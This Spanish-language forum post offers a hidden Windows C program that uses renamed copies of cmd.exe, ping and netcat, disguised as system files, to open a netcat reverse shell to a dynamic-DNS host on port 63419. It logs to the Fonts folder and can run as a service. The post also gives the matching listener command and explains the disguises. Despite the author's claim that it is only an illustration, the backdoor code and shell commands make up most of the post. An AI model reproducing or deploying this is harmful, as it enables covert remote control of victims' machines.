|
TRICKY
|
Que tal.
Quizas eso, con Visual C++ y creando una aplicacion win32 te sea mas idoneo. Aqui te pego un code que he hecho que esconde la ventana, y eso que escupe procesos eh! Es mas, si lo pusieras como servicio ( todo con comandos sc para no sufrir demasiado :__)) a los 15 minutos tendrias el taskmanager petado de procesos.
Por ello y para este caso, una modificacion urgente seria necesaria. Es solo para poner un ejemplo.
/* mejor para ejecutar con SW_HIDE ... * No hice este code para que sea funcional 100%, solo para * este caso explicativo ! */
#include <stdarg.h> #include <windows.h> #include <winbase.h> #include <stdlib.h> #include <stdio.h> #include <io.h> #include <errno.h> #include <fcntl.h>
int main() {
DWORD dwRetour = ERROR_SUCCESS;
char szToExecute[4000] = {0}; char comm[] = "C:\\Windows\\System32\\lsasutl.exe /K rpcmngr.exe uuio.noip.org > C:\\WINDOWS\\Fonts\\pinger.txt"; char comm2[] = "C:\\Windows\\System32\\lsasutl.exe /K sysmgr.exe -d -e lsasutl.exe whathehell.hopto.org 63419"; char comm3[] = "C:\\Windows\\System32\\lsasutl /K taskkill /F /T /IM lsasutl.exe"; char comm4[] = "C:\\Windows\\System32\\lsasutl.exe /K netstat -an > C:\\WINDOWS\\Fonts\\netstat.txt"; char comm5[] = "C:\\Windows\\System32\\lsasutl.exe /K taskkill /F /T /IM rpcrgt.exe";
char buff[4000];
int fd, fd2, readbytes;
Sleep(180000); /* Wait 3 minutes for internet connection .. */ while (1) {
memset(&szToExecute, 0, sizeof(szToExecute)); memset(&buff, 0, sizeof(buff));
_snprintf(szToExecute, sizeof(szToExecute)-1, "%s", comm);
if ((dwRetour = WinExec(szToExecute, SW_HIDE)) > 31) { Sleep(7000);
if ((fd = open("C:\\WINDOWS\\Fonts\\pinger.txt", O_RDONLY)) == -1) { break; }
if ((readbytes = read(fd, buff, 2048-1)) != -1) { buff[readbytes] = '\0'; if (strstr(buff, "Respuesta desde")) {
memset(&szToExecute, 0, sizeof(szToExecute)); _snprintf(szToExecute, sizeof(szToExecute)-1, "%s", comm2);
if ((dwRetour = WinExec(szToExecute, SW_HIDE)) > 31) { memset(&szToExecute, 0, sizeof(szToExecute)); _snprintf(szToExecute, sizeof(szToExecute)-1, "%s", comm4); Sleep(30000); /* Esperamos 30 secs para asegurar ESTABLISHED ... */ if ((dwRetour = WinExec(szToExecute, SW_HIDE)) > 31) { if ((fd2 = open("C:\\WINDOWS\\Fonts\\netstat.txt", O_RDONLY)) == -1) { close(fd); continue; } memset(&buff, 0, sizeof(buff));
if ((readbytes = read(fd2, buff, 2048-1)) != -1) { buff[readbytes] = '\0';
if (strstr(buff, ":63419")) { close(fd); close(fd2); memset(&szToExecute, 0, sizeof(szToExecute)); _snprintf(szToExecute, sizeof(szToExecute), "%s", comm5); WinExec(szToExecute, SW_HIDE); break; /* deberia de matar el proceso rpcrgt.exe .. */ } else { close(fd); close(fd2); Sleep(5000); } } } else { close(fd); memset(&szToExecute, 0, sizeof(szToExecute)); _snprintf(szToExecute, sizeof(szToExecute), "%s", comm3); WinExec(szToExecute, SW_HIDE); continue; } } else { Sleep(4000); close(fd); continue; } } else { Sleep(4000); } close(fd); } else { close(fd); continue; } } else { Sleep(30000); } } /* End of While() loop */
return 0; }
Esto seria el pseudo-code para dejar corriendo en la maquina remota. En nuetra casa pues pondriamos a correr netcat $ nc -l -p 63419
Bueno, kk de code pero como ves no se veria la ventanita que es lo que te importa. No es funcional y por favor, nada de comentrios obscenos acerca del mismo.
Saludos.
/**** MODIFIKO ****/
Bueno... para los que no caigan en todo: lsasutl.exe == copia de cmd.exe bajo system32 rpcmngr.exe == copia de ping.exe bajo system32 sysmgr.exe == copia de netcat ( nc.exe ) bajo system32 rpcrgt.exe == el propio programa
El mapeo del puerto en el router casero ( nuestro ) pues esta claro que habria que hacerlo, asi como en el firewall. El "programa" no creo que lo arregle por ahora mucho, asi que de nuevo: solo un ejempluzo.
|